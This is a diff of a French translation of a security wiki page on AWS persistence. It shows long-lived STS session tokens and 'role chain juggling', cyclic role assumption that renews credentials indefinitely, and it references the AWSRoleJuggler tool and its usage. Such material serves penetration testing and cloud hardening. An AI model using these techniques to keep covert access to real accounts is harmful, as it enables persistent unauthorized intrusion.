Pour plus d'informations, accédez à :
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sts-enum.md
|
||||
../../aws-services/aws-sts-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Jeton de rôle assumé
|
||||
### Assume role token
|
||||
|
||||
Les jetons temporaires ne peuvent pas être listés, donc maintenir un jeton temporaire actif est un moyen de maintenir la persistance.
|
||||
Les jetons temporaires ne peuvent pas être listés, donc maintenir un jeton temporaire actif est un moyen de conserver la persistance.
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash">aws sts get-session-token --duration-seconds 129600
|
||||
|
||||
# Avec MFA
|
||||
# With MFA
|
||||
aws sts get-session-token \
|
||||
--serial-number <mfa-device-name> \
|
||||
--token-code <code-from-token>
|
||||
|
||||
# Le nom de l'appareil matériel est généralement le numéro au dos de l'appareil, tel que GAHT12345678
|
||||
<strong># Le nom de l'appareil SMS est l'ARN dans AWS, tel que arn:aws:iam::123456789012:sms-mfa/username
|
||||
</strong># Le nom de l'appareil virtuel est l'ARN dans AWS, tel que arn:aws:iam::123456789012:mfa/username
|
||||
# Hardware device name is usually the number from the back of the device, such as GAHT12345678
|
||||
<strong># SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
|
||||
</strong># Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
|
||||
</code></pre>
|
||||
|
||||
### Jonglage de chaînes de rôles
|
||||
### Role Chain Juggling
|
||||
|
||||
[**Le chaînage de rôles est une fonctionnalité reconnue d'AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), souvent utilisée pour maintenir une persistance discrète. Cela implique la capacité d'**assumer un rôle qui en assume ensuite un autre**, pouvant potentiellement revenir au rôle initial de manière **cyclique**. Chaque fois qu'un rôle est assumé, le champ d'expiration des identifiants est actualisé. Par conséquent, si deux rôles sont configurés pour s'assumer mutuellement, cette configuration permet le renouvellement perpétuel des identifiants.
|
||||
[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), souvent utilisé pour maintenir une persistance furtive. Cela implique la capacité de **assume a role which then assumes another**, pouvant revenir au rôle initial de manière **cyclique**. Chaque fois qu'un rôle est assumé, le champ d'expiration des identifiants est rafraîchi. Par conséquent, si deux rôles sont configurés pour s'assumer mutuellement, cette configuration permet le renouvellement perpétuel des identifiants.
|
||||
|
||||
Vous pouvez utiliser cet [**outil**](https://github.com/hotnops/AWSRoleJuggler/) pour continuer le chaînage de rôles :
|
||||
Vous pouvez utiliser cet [**tool**](https://github.com/hotnops/AWSRoleJuggler/) pour maintenir le role chaining :
|
||||
```bash
|
||||
./aws_role_juggler.py -h
|
||||
usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
|
||||
@@ -40,11 +40,11 @@ optional arguments:
|
||||
-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Notez que le script [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) de ce dépôt Github ne trouve pas toutes les manières dont une chaîne de rôles peut être configurée.
|
||||
> Notez que le script [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) de ce dépôt Github ne trouve pas toutes les façons dont une chaîne de rôles peut être configurée.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Code pour effectuer le Role Juggling depuis PowerShell</summary>
|
||||
<summary>Code pour effectuer du Role Juggling depuis PowerShell</summary>
|
||||
```bash
|
||||
# PowerShell script to check for role juggling possibilities using AWS CLI
|
||||
|
||||
@@ -124,4 +124,4 @@ Write-Host "Role juggling check complete."
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user